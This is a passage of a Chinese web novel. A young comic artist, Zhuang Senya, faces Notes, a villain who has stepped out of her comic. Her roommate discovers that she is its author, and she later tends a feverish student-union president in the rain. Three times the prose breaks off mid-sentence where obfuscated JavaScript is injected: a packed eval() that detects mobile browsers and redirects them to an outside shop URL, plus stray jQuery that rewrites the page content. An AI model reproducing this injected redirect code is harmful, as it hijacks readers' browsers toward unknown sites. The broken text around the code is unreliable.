吊灯进入她的视野,看了半晌,才想起来自己应该是在酒店。 坐起来,发现自己还在床上,摸了摸身体,心脏还在跳动,胃部隐隐作痛,大脑也能思考,似乎每一个部件都还在身体里正常地运转。 被子从她身上落了下去,可她没有亲手把它盖上的回忆。 怎么回事? 她记得昏迷之前自己正在和诺特斯针锋相对,怎么人不见了……难道那只是她的一场幻觉吗? 庄森芽环顾四周,发现自己的手机摆在床头柜上,手机旁边有一个塑料袋,塑料袋下面压着一张纸。 可她记得之前床头柜上没有东西。 狐疑地凑过去,把塑料袋抓过来打开,发现里面装的是几盒药。 拿出其中一盒,找到了药名,又翻了翻说明书,发现是治胃病的,而且就是专治胃溃疡的。 庄森芽疑惑,是温枣回来给她带了胃药吗?不对,自己是在她离开之后开始犯胃病的。而且就算见到她犯胃病,对方仅凭症状也不一定能推测出她身体具体是什么毛病。 ……那这些是? 她的目光落在刚才被塑料袋压住的纸上,那是一张A4纸,打了对折,上面似乎写着什么字。 她把它拿过来,在自己面前展开。 纸上的字龙飞凤舞,有一种不管别人能不能看懂的美。 那上面写着:「我知道你最重要的东西是什么,不想失去的话,这几天停笔,五日之后,九月十五,晚九点,我们在206宿舍楼背面的小花园见。」 看完这段话,庄森芽就算不想知道是谁也该知道是谁了。 用这种口气威胁她的人只会有一个,那就是诺特斯。 他果然出现过,不是自己因胃痛而产生的幻觉。 她也知道胃痛并不能产生什么幻觉,只不过,那时她以为自己已经必死无疑了,能活下来,只能通过‘对方其实根本没出现过’来解释。 可现在看来不尽然,对方不是幻觉,但她也没嗝屁。 不知道为什么,诺特斯手下留情了。 庄森芽盯着塑料袋里的药盒,脑袋有些转不过来。 难道这些药也是他买的? 不可能吧,绝对不可能。那家伙可没有这种善心。 他肯定是一脸幸灾乐祸地看着自己被病痛折磨,因为她昏过去没办法继续沟通,所以拍拍屁股离开了。 这些药……嗯……这些药或许是自己迷迷糊糊在混乱中上网订购的。 对,一定是这样。 庄森芽又看了一遍诺特斯留下的那张纸。 206宿舍楼是她在上茂哈里森大学所住的那一栋,五天后是雏鸟周结束之后的第一天,也就是说,诺特斯是算好了日子,要在她回校的时候来一次最终对决。 庄森芽把那张纸揉成了一团,丢进了垃圾桶。 还有五天时间,等着瞧吧,她一定会找到让对方消失在这个世界上的办法。 虽然现在一点头绪都没有。 30. 小小的露馅 庄森芽离开了床,接水吃了几片药,然后走进了浴室。刚才和那个恶徒有过接触,为了避免染上什么恶疾……虽然不太可能吧,但是哪怕是为了自己的心理健康,她也要去清洗一番。 把衣服脱光了,水流倾注而下,打湿了身体。她盯着自己的胃部,想起来不久之前诺特斯的手臂穿透自己身体的那一幕。 直到现在,庄森芽还不敢相信一切是怎么发生的。她一直知道诺特斯有那种特异能力,也亲眼见识过。但直到发生在自己身上的时候,她才深刻的意识到那不是什么玩笑,诺特斯所有在《灵月十四》中的能力都被他带了出来,全是真实存在的。 她摸了摸自己肚子上的皮肤,很光滑,没有任何的破损。 当下,又不禁疑惑起来。既然诺特斯不打算杀她,那么那个举动又是图什么,只是为了恐吓她吗? 庄森芽百思不得其解,简单清洗了一番就走了出去。 用浴巾擦拭干净身体,换上换洗的衣物,她离开卫生间回到卧室。 卧室里还有一个人影。 庄森芽猛然驻足,以为诺特斯又回来了,但是凝神瞧去,却发现那个身影比诺特斯矮小许多,而且一身粉嫩,不是男人刚才穿的那身浅色风衣。 “温枣?”庄森芽认出对方的背影,呼唤道,“你提前回来了?” 温枣的背影一动不动,没有回应。她站在庄森芽的床边上,面朝着床头柜,低头似乎在摆弄着些什么。 “温枣?”庄森芽又困惑地叫了一声。 温枣这才缓缓转过身来,她手上拿着一部手机,那是庄森芽的。 一身浅粉衣裳的女孩表情有些呆愣,还有种难以言表的兴奋,“森芽……你,是《灵月十四》的作者?!” 听到对方这么说,庄森芽脑袋里嗡的一声。 她怎么知道的!? 低头往对方手上的手机看去,庄森芽有了些线索。 自从昏迷中醒来之后,她就没有再翻动过自己的手机了,而昏迷之前,诺特斯曾经拿起过它翻看她所画的漫画,那之后谁也没有动过它。 所以手机屏幕很有可能刚好停留在了《灵月十四》的草稿上。 突发的一幕让庄森芽有些不知道该如何应对,她不是没有料想过这种情况,也曾构思过一番说辞,但是现在竟是一句话也想不起来了。 “你居然就是青沐?”温枣两眼放光,宛如看到生肉的饿狼,“不好意思看了你的手机,但它就摆在那里……所以你真的是青沐!?” “呃,我……”她想编个借口,说她不是,只是和青沐是朋友,偶然收到了对方发来的草稿让她过目。但是手绘版还众目睽睽地躺在床上,怎么看她现在都百口莫辩。 庄森芽纠结了半晌,最终,还是压低声音问道:“……你能不告诉别人吗?” “我能,我能,我太能了!”温枣一连给出好几个承诺,她朝庄森芽扑过来,抓住她的双手用力晃了晃,“我超喜欢《灵月十四》的!” 对方的热情一时让庄森芽有点手足无措,“可你之前不是说,你打赏只是为了支持小画手……” “我说过这种话吗?”温枣一脸单纯。 “说过。”庄森芽短暂地回忆了一下,“就在两天前,我们刚认识的时候,我问你包上的挂饰是什么,你说是你自己做的周边。” “啊,那个时候。”温枣似乎也回想了起来,她一点也不尴尬地笑着,“那不是因为我们刚刚认识吗,我不太喜欢随便给别人安利,因为我喜欢的东西都挺怪的。” 懂了,所以她画的东西很怪。 “而且我连周边都自己做了。”温枣说,“我对《灵月十四》的喜爱还不够直白吗?” 这句话倒是挺有道理,谁也不会去为了自己不喜欢的东西花钱做手工艺。 “不过真没想到啊,喜欢的小画家居然就近在眼前……”温枣几乎是含情脉脉地盯着她,光是握手还不够,硬是把她抱起来转了一圈,“以后第一时间让我看先行版好不好!” “我,我答应你……”庄森芽被她抱着转圈,只觉得胃里一阵翻涌,她连忙捂住嘴,“所以快把我放下来……” “哈哈哈哈。”温枣仿佛根本没听见似的,又转了好几圈才停下。 庄森芽只觉得早上喝进去的蜂蜜牛奶都要呕出来了。 之后的这个下午,温枣赖在了酒店。 她说她本来只是回来拿忘记的充电宝,下午原本还和何元楚约了要去划皮艇,但是意外得知这么一个新消息,她说什么也不走了,要留下来看庄森芽画漫画。 庄森芽无奈,开启了人生中屈指可数的被围观画画的经历。 一开始还有点不适应,因为她已经多少年没有当着别人的面画漫画了。在高一的那次群嘲事件发生之后,她就只在裴佑哲的面前画过。 但好在温枣是一个安静的观众,她一改平时兴致勃勃疯疯癫癫的模样,像小鹿一样盘腿趴在庄森芽的身边,盯着她一笔接一笔描绘出环境和人物的轮廓。 中途休息的时候,温枣好奇地问她,“能剧透吗,后来主人公怎么样了?” “当然是战胜了反派,打下候鸟山工厂,夺回石剑醇资源,让所有人都过上了幸福的日子。” “标准结局。”温枣笑着说。 “没错,标准结局。” 到了晚上,他们和何元楚一起出去吃了烧烤,温枣又喝了点小酒,加入偶然碰见的同学的唱歌局,玩到了夜深才回来。 第二天接到了换队长的通知,新队长是学生会的一个部长,庄森芽从未见过这个人。对方承接起了原属于裴佑哲的职责,在接下来的四天带领雏鸟周的队员们继续进行新生活动。 那之后几天的日子可以说是平平无奇,裴佑哲没有再出现过,诺特斯也没有。 庄森芽时不时就会思考该如何对付诺特斯,才能让他老老实实回到漫画中去。可是怎么想,都想不到一个可行的方案。 原本以为自己能够通过画画的方式改变对方的身体状态,但现在这个推断已经被否定了,无论她把诺特斯画得多么狼狈,对方都能通过不知道什么方式变回毫发无伤的模样。 可是,这是庄森芽所知道的唯一能够限制诺特斯的方法。 到底还有什么办法能让这个人乖乖回到漫画中去,不要再在现实中兴风作浪了? 怎么想,答案都只有诺特斯自己知道。 可他一定不会告诉她。 时间很快来到了雏鸟周的最后一天。 结束了最后一个合影留念的活动,学生们坐上大巴车,回到了上茂哈里森大学的校园门口。 队员们恋恋不舍地告别,今天起,他们就不再是雏鸟周的小组成员,而是各个专业的大一新生了,虽然将来还有机会聚在一起,但这种能够天天见面一起玩乐的日子恐怕不多。 庄森芽也和自己的小组成员告了别,三个人紧紧抱在一起,说将来有时间就要时常聚一聚。 费洛后半场缺席,到现在也不见踪影,于是他们把这些天的纪念品满满当当地塞进他遗留的背包里,等哪一天喊他出来清算他半路退出的行为时,顺便把这些东西交给他。 与雏鸟周的小组成员告别之后,庄森芽回到了自己的宿舍。 她的三个舍友中回来了两个,而石玥诗的位置空空如也。她在酒吧那场骚乱之后,也再没有出现过。 另外两个舍友汪素文和莫茹感觉都晒黑了一些,庄森芽和她们一起去食堂吃了晚饭,又交流了一番雏鸟周的经历,约好了明天一起去上大课。 正式上课的第一天,庄森芽的手机爆炸了。 不是物理层面的爆炸,而是信息轰炸。 她知道正式上课的第一天会很忙,但是没想到这么忙。 除了课程群内发来的信息之外,学生会大群也发送了一连串的本学期活动计划,学生会外联部和绘画社全部都在群里发出通知,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208443|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求成员在晚上参加见面活动。 而且对庄森芽来说不光是这些,晚上九点,她还必须回到206宿舍楼,去楼背面的小花园与那个诺特斯会面。 一瞬间,这一整天都被排满了。 上午和汪素文与莫茹两个舍友去阶梯教室上基础文化大课,又去领了一堆教材,捧着一沓子纸书火急火燎到食堂吃了个饭,下午去上专业术语英文课,上完了英语课又去填写了一个雏鸟周活动回访。 这一趟折腾下来,时间已经是晚上了,距离学生会外联部和绘画社的见面活动只剩下了二十几分钟。 好巧不巧这两个社团的见面会全都安排在了今天晚上,庄森芽只能选择先在一个活动上露个脸,然后再中途退出,赶去下一个场子。 她甚至连吃饭的时间都没有,去小卖部买了两根烤肠,叼着它们就往活动大楼跑。 总算是按时来到了学生会外联部见面会的场地,活动马上就要开始,场地门口有成员正在统计名单,刚巧舍友汪素文也在这里,庄森芽想起来她也加入了外联部。 两人打了招呼,签到之后走进了场地,场地落座于活动大楼的五层,是一个空旷的活动室,中间摆着四张放满了零食和饮料的桌子,一侧是一块巨大的投影板,讲台上站着两个身影,分别是外联部部长和外联部副部长。 部长和副部长是两个身高近乎齐平的一男一女,他们两人的身份还是汪素文告诉她的。 庄森芽盯着瞅了一阵子,发现自己好像见过这两个人。 他们是她去学生会面试那天坐在裴佑哲左手边的面试官们,短头发的女生是外联部的部长段子良,而那个长得看起来很好看的男生是副部长冯月客。 现在这么一回想,那天面试自己的五个面试官里面居然有三个都是外联部的人,费洛、段子良、冯月客,这么看自己去哪个部门其实早就被内定了,这估计是裴佑哲的意思。 庄森芽环视了一圈,却没有看到外联部形象大使的身影,那个浅黄头发的人依然没有到场,仍是‘失踪’的状态。 活动开始了,见面会其实和雏鸟周的性质差不多,都是为了让彼此间不太熟悉的新生们活跃起来,加深彼此之间的联系。 人们通过编号随机分组,形成一个个小团体,围成一圈的学生们开始依次介绍自己。 庄森芽和汪素文被分开了,被分去的组中,她一个认识的人都没有。 大家开始自我介绍,庄森芽也不例外,她又陈述了一遍自己的姓名、专业,以及爱好,嘴皮子已经磨得非常熟练,总觉得最近没少介绍自己。 “哦,你就是庄森芽啊?”组里有一个男生对她说。 庄森芽看过去,那是一个梳着背头的男生,他刚才好像介绍自己叫陆阳羽。 “对,我就是。”以为对方是抱着交朋友的心态,庄森芽语气颇为积极地回应。 可没想到对方笑了一下,眉眼却有种若隐若现的讽刺意味,“听说你初面五分钟就结束了,二面三面也没参与,真的是这样吗?” 他这话一问出来,临时组别里的成员全部齐刷刷地看向庄森芽。 庄森芽脸色一僵。 这人……这不就是当面明摆着问她是不是走后门的意思吗? 虽然她真的是走后门进来的吧……但是有必要当着这么多人的面揭穿她吗? 还没等庄森芽想好怎么回应,身边一个披着大波浪卷、气质看起来十足高雅的女生站了出来,对那个男生说:“学生会每年都有破格录用的新人,有些人是不用二面三面的,你不知道吗?” “我就是随便问问。”对面的陆阳羽说,笑容有些不怀好意,“单纯好奇她破格是破在哪里。” 庄森芽微微皱眉。 这话听着可不太对劲。 “说话留几分吧。”她朝对方说,面色不善,“将来还要共事。” 陆阳羽对此不以为意,哼了一声,“有靠山说话就是硬气。” 31. 彩弹攻击! “咳咳。”这时候,讲台上的人出声打断了新生们的交流,部长段子良朝所有人说道,“来,换组时间到了,这次编号尾数一致的人组成一组,大家都散开找一找自己的组别啊。” 学生们纷纷查看各自的编号,然后根据那上面的数字寻找新的社交小组。 刚才那当众讽刺的男生陆阳羽走过来,擦过庄森芽的身边,留下“哼”的一声,不屑地走远了。 庄森芽没空理会他,她看了一眼自己的编号,又看了一眼手机,距离活动开始已经半个小时过去了,现在要是换组再去自我介绍一番的话,恐怕二十分钟又没了。 学生会外联部的人多,所以活动持续得也久,但绘画社那边不一样,小社团的见面活动很有可能一个小时就会结束。 想到这里,庄森芽打算临时退出。 她四下观望了一圈,发现没有人注意到自己,于是悄悄走到墙边上,慢慢蹭到了门口,然后咻一下子从门口跑了出去。 绘画社的见面活动场地也在活动大楼,只是在不同的楼层。 她上到八层,电梯刚打开,就听到一串礼炮的响声。 走廊挂满了各种颜色的彩条和气球,地上散落着红白交错的玫瑰花瓣,不知道的还以为是在举行什么人的结婚典礼。 庄森芽来到场地门口,探头往里面看去,只见不大的房间中摆着各式各样的挂画,一群穿着白衣白裤的人在里面拿着调色盘彼此追逐,人们脸上都被画花了,几乎无一幸免。 一个看起来是高年级的学长看到了愣在门口的庄森芽,朝她打招呼,“你好,你是——?” 他话还没说完,一盒颜料扣到了他脑袋上,绿色的液体顺着发丝流淌下来,在他本就狼狈的衣服上又添抹了好几分艳绿。 “等等,等等,我在和人说话呢。”他朝身后的人讨饶,几个拿着画笔追他的人这才住手。 几双眼睛朝庄森芽的方向看过来,好奇的打量着她。 “你是绘画社的新成员吗?”那个几乎被摧残成调色盘的学长问她。 “呃,我……”她条件反射想说她是,可是看着里面不幸被画成猪还有猴屁股的人们,不由心生退意,脚下也往后挪了两步,“不,我只是路过……” “你是最后那个没来的吧!”这时有人跳上前来问她。 “什么?不是我。”庄森芽连连否定,步步后退,怂上加怂。 一个成员跑上前来,拿着一张被彩墨涂抹得几乎看不清字迹的报名表,“庄森芽,是不是你?” “谁?我不认识……”她转身就要走。 “团长,是她!百团大战那天我看到她报名绘画社了!”人群中一个声音喊。 快跑!——她心中警铃大作。 她是喜欢画画,但不代表喜欢自己变成画。 谁家正经绘画部会用这种形式组织新人活动啊? 她刚拔腿要溜,突然一个庞然大物罩在了她的头上,一下子视野全被遮住了。 “什么,什么东西?”面前是一片灰白,她挣扎了一下,感觉自己的脑袋从什么东西中钻了出来,她又能看见周围的景色了。 低头往下看去,才发觉是一个套头的白大褂被罩在了自己身上。 眼前,那个被称之为团长的男人笑嘻嘻地拦住她的去路,“来都来了,玩完再走!” “玩什么?我不玩!”庄森芽严词拒绝,可是好几个人围上来,推推搡搡地把不情愿的她带进了活动室。 活动室里凌乱一片,像是有成群的小学生在这里摸爬滚打过一般, 庄森芽浑身抗拒地被推到了场地中央,就听她身旁那个团长大哥开口说: “这是我们绘画社的新成员,庄森芽,大家鼓掌欢迎!” 噼里啪啦犹如雷动的掌声过后,团长推了她一下,庄森芽一个踉跄,磕磕绊绊地闯进了人群之中。 那些团员们拿着画笔,一个两个都嬉笑地盯着她,眼睛亮晶晶的。 不妙,太不妙了。这感觉就像是一块肥肉被丢进狮子群中。 “那个,我们有话好好说……”庄森芽声音有点虚。 “欢迎你,新同学!” “准备好入会仪式了吗?” 庄森芽:“入、入会仪式?” “今早发的信息呀,上面把今天见面活动的内容写得清清楚楚。” “是呀,来了就代表同意参加活动。” 庄森芽听完,猛然想起来今天早上她收到的那条绘画社入会活动消息,当时因为时间紧迫,所以只看了头几行,大概知道了时间和地点之后就没再往下看了。 谁能想到下面居然有这么大一个在等着!? 庄森芽尴尬地笑了笑,“虽然有点唐突,但是我现在能退出吗?” “今晚的活动没有退出可言!”有人喊了这么一声,托着调料盘就跑了过来。 “啊啊啊!”庄森芽吓得抱头乱窜。 她感觉无数双手朝自己伸过来,洁白的大褂一下就染花了。 啪叽,冰凉的东西甩在她的脖子上,庄森芽摸了一把,把手放在眼前,鲜血一样的红色映入眼帘。 居然有人在投掷颜料弹!? 她可算是知道天花板上的颜色是怎么甩上去的了! 庄森芽跑到角落躲了起来,还有几个人在对她穷追不舍,而其他的人又回到了大乱斗之中。 以团长为首的几个人围拢上前,端着已经混杂成深灰色的调料盘,笑得不怀好意。 大难临头,庄森芽放弃了抵抗,祈求说道:“我头发才染了半个月,手下留情!” “我还以为你是特意染成白色来参加活动的呢。”团长说。 还没等庄森芽说什么,各种画笔水彩就招呼了上来。 犹如一阵狂风席卷而过,片刻之后,围在角落的人影散去了。 庄森芽一个人坐在那里,一副丢了魂的模样。他们放过了她的头发,可其他地方就遭殃了,浑身几乎没有一块是干净的,彩虹现在见了她都要退让三分。 后半程,庄森芽不记得自己是怎么度过的,只记得活动结束、自己和其他绘画社成员走在回宿舍楼的路上时,被数不清的学生围观了一路。 外面下着小雨,地面有一层积水,雨势最大的时候已经过去了。 到了住宿区,绘画社的学生们互相告别,往自己的宿舍楼走,打算回去清洗掉这一身乱七八糟的颜料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208444|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 庄森芽有点浑浑噩噩地走向206宿舍楼,整个人一副被过度蹂躏的模样,眼神都有点飘忽。 毕竟今天出门之前,她可没想到今天的见面活动是这样的展开。 她原本期望的是:在学生会外联部和绘画社的见面会上都露个脸,然后…… 然后干什么来着? 庄森芽原地愣了一下,而后突然深吸了一口气。 诺特斯!她差点把诺特斯的事给忘了! 约好了今天晚上九点在206宿舍楼背面的小花园见,现在已经九点多了! 想到这里,庄森芽匆匆往目标赶去。 希望对方还没有离开,这次她一定要和他正式聊一聊,不管怎样,这件破事该有个结尾了。 雨水打在她的身上,将那些表面的颜料冲散了,她整个人像是褪色一样,各色的水滴滴滴嗒嗒从衣角和指尖坠落。 终于来到了206宿舍附近,再往前跑两栋楼,绕一圈,就能见到它背面的小花园了。 在抵达宿舍楼门口的时候,她看到台阶旁有几个女生围在一起,嘀嘀咕咕地议论着些什么,时不时往同一个方向投去视线。 庄森芽也好奇地看过去,而下一瞬间,她看到了一个熟悉的身影。 宿舍楼下的电灯旁靠着一个人,那人低垂着头,头发和衣服都被打湿了,像是在雨中已经站了很久。 他整个人看起来失魂落魄。 那是学生会主席,裴佑哲。 庄森芽缓缓停下了脚步,在附近驻足。见对方这副模样,她一时间有些不敢靠近。 上一次见到他是在景区的酒吧,而在酒吧里发生的那一幕依然历历在目。那之后发生了什么,庄森芽全然不知,裴佑哲也像人间蒸发了一样再也没有出现过。 可他现在却是这副萎靡的模样,被雨水肆意地摧残,一个人独自在206宿舍楼下等待。 他是在等待石玥诗吗?庄森芽心想。 她直觉感觉,有关这两人的事情,自己不应该掺和进去,但是裴佑哲又是这样站在这里,她也不能当完全没看见,毕竟怎么说他们都一度是高中同学,是没有多少交情的老朋友,而且这些天裴佑哲还颇为照顾她,她觉得自己起码应该询问一句对方的情况。 这么想着,庄森芽走上去,停在对方的身前,试探性地轻声叫他,“佑哲?” 听到她的声音,裴佑哲抬起头来,他像是好几天没睡一样,眼睛下挂着青黑的眼袋,目光无神,嘴唇有些发白,头发看起来也没有好好打理过,发帘杂乱地垂下来遮住了他的眼睛。 整个人都是一副一蹶不振的模样。 庄森芽不禁心底暗暗惊讶,她从来没见过裴佑哲这副样子,对方总是得体又整洁的,似乎没有什么东西能击垮他。 果然那天酒吧的事情闹得太大,他这两天估计都是去处理那件事了,只不过,从当下的样子来看,他处理得不是那么好。 “你还好吗?”她问他。 “……森芽。”裴佑哲念着她的名字,没有光亮的眼神粘滞在她的脸上。 “你在等玥诗吗?” 裴佑哲没回应,依旧盯着她,缓缓地眨了一下眼睛。 32. 雨中的他 “需要我帮你把她叫下来吗?”庄森芽问,试图提供给对方什么帮助。 裴佑哲还是没回答,他身影微微动了动,离开了路灯,渐渐靠近庄森芽。 一开始,庄森芽并没有后退,可是裴佑哲似乎没有停下的意思,两人之间的距离越来越近。 她想起来自己身上全是颜料,正要躲开,没想到裴佑哲突然快步上前,一下子抱住了她。 “等等、佑哲,会弄脏你的衣服的!”她惊呼。 然而这句话却没让对方停下来,裴佑哲反而更紧地拥住了她,头颅深埋进颈窝,两人之间除了衣料之外一丝空气都没有。 庄森芽不知道对方突然是怎么了,想挣脱出来,可是担心挣扎的话会让他的情绪更加波动,于是只好老老实实地呆在原地,当一个人形抱枕,让他肆无忌惮地搂着。 庄森芽转动眼珠,看了一圈周围,发现附近有学生注意到了他们。围观的人显然认出来了裴佑哲,开始三五成群议论起来,路过的学生也纷纷停下脚步,或近或远地观望着,想要弄清楚路灯下的一隅正在上演什么剧目。 不好,再这样下去要被误会了。 庄森芽如此想着,打算开口跟裴佑哲说明这个情况,让他快些放开她,“佑哲,周围的人都在看着——” “当年答应我的那个漫画,你还在画吗?” 话没有说完,裴佑哲低沉又没什么起伏的声音打断了她。 这句话把庄森芽问得一愣,刚才要说的话也一下子吞回肚子里,没机会再继续说下去。 她显然知道裴佑哲指的是什么。 高中时那个约定依然存在于记忆的深处,庄森芽还没有找到机会澄清,拖着拖着,就懒得解释了。主观地认为裴佑哲也已经把这件事当成不必提起的回忆,因为他们已经开始制造新的故事,而不受过去的那些影响。 可是裴佑哲偏偏在这个时候提起了它。 他这么问,是想得到什么回答? 他这么问,是还认为曾经那个约定作数吗? 一时间,庄森芽的脑袋有些混乱。 裴佑哲没有得到回应,于是更深地拥住了她,声音不知为何变得有些闷闷的,听起来有些低颓,“我转学的时候,你说你才画了不到十分之一,现在呢?” 庄森芽在他的怀抱中拧动了一下,想和对方拉开点距离,总感觉裴佑哲的样子怪怪的,情绪好像有点不太正常。 “你先放开我,佑哲……” “你先回答我。”他沉声在她耳边说,丝毫没有放手的意思。 庄森芽抿了抿唇,“我……” 现在或许是个和对方说明的好时机,她之前不是没有想过和裴佑哲聊聊过去的事,把话说清楚,曾经的那个小疙瘩就能解开了。 当年那部以裴佑哲为主角的冒险漫画,在他转学离开之后就夭折了。 但是两年多之后,因为家庭拮据的原因,庄森芽又把它重新捡了起来,改了剧情,换了漫画名,但还是用以前的人物形象,创造出了《灵月十四》。 所以,当年为裴佑哲画的那部漫画还在画吗? 可以说还在画,因为《灵月十四》主人公尤梭的原型就是对方。 但也可以说没在画,因为剧情已经面目全非,根本不是曾经的故事了,内核的灵魂已然改变,她也不能再说这部漫画是为他而画。 所以…… “不,我并没有再画下去了。” 这句话说出口的时候,庄森芽明显感觉到对方的身体一僵。 但下一刻,他环抱着她的手臂微微松开了。两人拉开了一段距离,裴佑哲盯着庄森芽,他眉头微蹙着,嘴唇也微张,下垂的眼睫显得他的神情有些落魄。 “为什么?”他问。 为什么?庄森芽在心里重复这个问题。 当然是因为裴佑哲高三的时候转学走了,定下合约的其中一方离开,她也自然没有必要继续履行下去。 而更是因为,从最初这个约定就不那么纯粹。 用一部以裴佑哲为主人公的漫画换一次交往的机会,他们表面上是这样约定的。 可实际呢? 庄森芽并不觉得裴佑哲想要和自己交往,他只是像每个成功人士那样,都希望有人能来为他写一部‘自传’,哪怕是以漫画的形式。这种免费的好事谁不喜欢呢。 而庄森芽自己其实也不是冲着和裴佑哲交往去的,而是因为那时同班同学都排挤她,她想让人刮目相看,所以才和这个原校草拍拖在一起。 他们就是这样,怀揣着各异的目的,达成了一个相同的约定。 现在问她为什么不继续画下去,就仿佛在问一个身心健康的人“你为什么不再去医院了”,因为她已经离开了高中那个荼毒她的环境,不需要再借什么外力来从中得到解脱。 “我不画是因为……”庄森芽斟酌了一下言语,不打算说出尖锐的事实,而是把那个最无关痛痒的原因告诉他,“因为你不是转学走了吗?所以就搁置了。” 听到这里,裴佑哲缓缓呼出了一口气,像是因这个回答而感到安心一样。 学生会主席闭上眼睛,身体有些摇晃,冷不丁一个踉跄,就这么直直地往庄森芽的方向倒了过去。 “欸?”庄森芽下意识伸手去扶,可完全忘记了对方是个高出自己一头的男人,瞬间被压得腰都直不起来。 “佑、佑哲?”庄森芽勉强没有带着他一起摔在地上,用全身的力气支撑着他们两个人,“你怎么了,你——” 她话说到一半,感觉有什么温热的东西贴在自己的脖颈上。转过头去,发现那是裴佑哲的脸,仔细一看,他的脸有点红,还有种病态的疲惫。 庄森芽艰难地拖着对方来到了一旁的长廊,把他安放在座椅上,然后伸手去探额头。 好烫……! 恐怕是发烧了,看他样子应该淋了很久的雨。 “佑哲,佑哲。”她摇晃着对方的肩膀,可是紧闭着眼躺在长椅上的男人侧着头,不省人事,没给她什么回应。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208445|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 该不会是烧昏过去了吧,刚才摸那一下,感觉他额头上都能煮鸡蛋了。 庄森芽翻出手机,找到前不久在备忘录里存下的校园各类基础信息,从中找到了医务室的电话,然后拨打了过去。 “你好,我这里有一位同学生病了,身体特别热,可能是在发烧。他现在昏过去了,我抬不动他,我们在206宿舍楼下的长廊下,可以来人帮帮忙吗?” 她交代了一番情况,而后得到了医务室会派人过来的保证。 挂下电话,她盯着裴佑哲的侧脸。他浅蹙着眉头,呼吸看起来有些费力,梦里像是有什么烦心事似的,即便闭着眼睛也睡不安宁。 庄森芽从自己的包里翻出来一包纸巾,开始给裴佑哲擦拭脸上的雨水、以及那些他不小心从她身上蹭过去的颜料。 指尖拂过鼻梁,压过嘴唇,她边操忙着,边有些心猿意马。 该说不说,裴佑哲的脸是真好看啊,一点赘肉都没有,皮肤也很干净,傲人的鼻梁像是掌管艺术的神明亲手雕刻的一般,睫毛宛如扇子一样又直又浓密,他的脸不算特别削瘦的那一种,但是五官十分的标致,放到整容医院都能拿去做模板。 高中的时候,这副皮囊还显得有些幼态,但上了大学,它已经成熟了起来,进化成了完全体。 小时候就能让周围的同学上课都盯着,挪不开视线,长大了更是冲人一笑就能杀得人丢盔弃甲。 “这脸真造孽啊……”庄森芽嘀咕着。 在长廊里等了一阵子,医务室来人了,他们把裴佑哲搬上简易的担架带走,庄森芽也跟着他们一起去往医务室。 来到那蓝白交杂的房间,医务人员把裴佑哲放在床上,测量体温过后,给他打上了点滴。 “等他醒来之后喂他点药吃,然后观察一下情况,再加重的话可能就要去医院了。”医务人员说。 庄森芽搬了张椅子守在病床边上,掏出自己的手机看了一眼时间,已经十点多了,距离和诺特斯约定的见面时间已经过去了一个多小时。 现在赶回去的话或许还来得及,毕竟时间是对方单方面决定的,怎么说也应该容许她迟到一阵子。 但是裴佑哲现在的情况又让她没法走开,思来想去,庄森芽打开了和石玥诗的聊天框。 她看了裴佑哲一眼,有点犹豫,心想不知道这个时候把石玥诗叫过来合不合适。 石玥诗大概率是喜欢裴佑哲的,但裴佑哲希望她过来吗? 要是弄巧成拙,让这两人的关系进一步恶化了怎么办…… ……哎,不想那么多了,裴佑哲的身边需要有一个人来照顾他,除了石玥诗又想不到其他更好的人选,自己接下来还急着去见诺特斯,所以就这样吧。 她编辑好了一条信息,上面写着:「玥诗,佑哲生病了,现在在医务室,你能过来一趟吗?」 消息发出去之后,她有点忐忑,不知道石玥诗会不会回复她。 要是对方不搭理她的话,她就得找其他人过来了。 33. 被动受邀没有迟到一说 或许……找费洛也行?但他那样子看起来不太像是个会照顾人的。 那副队长巴木优呢?她好像是学生会副秘书长,过去一直给裴佑哲打下手,但这怎么看都是工作上的伙伴,感觉照顾病情是很私人的事情,还是有点不合适…… 那还有谁呢……? 就在她纠结的时候,消息提示音响了起来。庄森芽拿起手机,发现石玥诗给她回了消息。 一个「好」字,没有更多的内容。 收到这个回复,庄森芽安心地舒了一口气。接下来只要等石玥诗过来就好了,把裴佑哲交给对方,然后她自己就能脱身去做其他事情。 放下手机的时候,她隐约感受到了一道注视的视线。 往病床上看过去,发觉不知何时裴佑哲醒了过来,正睁着眼睛沉默地盯着她。 “你感觉怎么样,佑哲?”庄森芽凑上前去问他。 裴佑哲转动眼珠,看了一眼挂在一旁的输液瓶,又四下观察了一番医务室。 他挣扎着要坐起来,于是庄森芽上前去扶了他一把。 “我昏过去了?”裴佑哲问。 “你烧得很严重……哦对了,医生说醒了之后让你吃两片药。”突然想起来这件事,庄森芽跑到饮水机去接了杯温水,洗了手之后又从药盒里拆了药片出来,把两者递给裴佑哲,“吃完了身体会好受一些。” 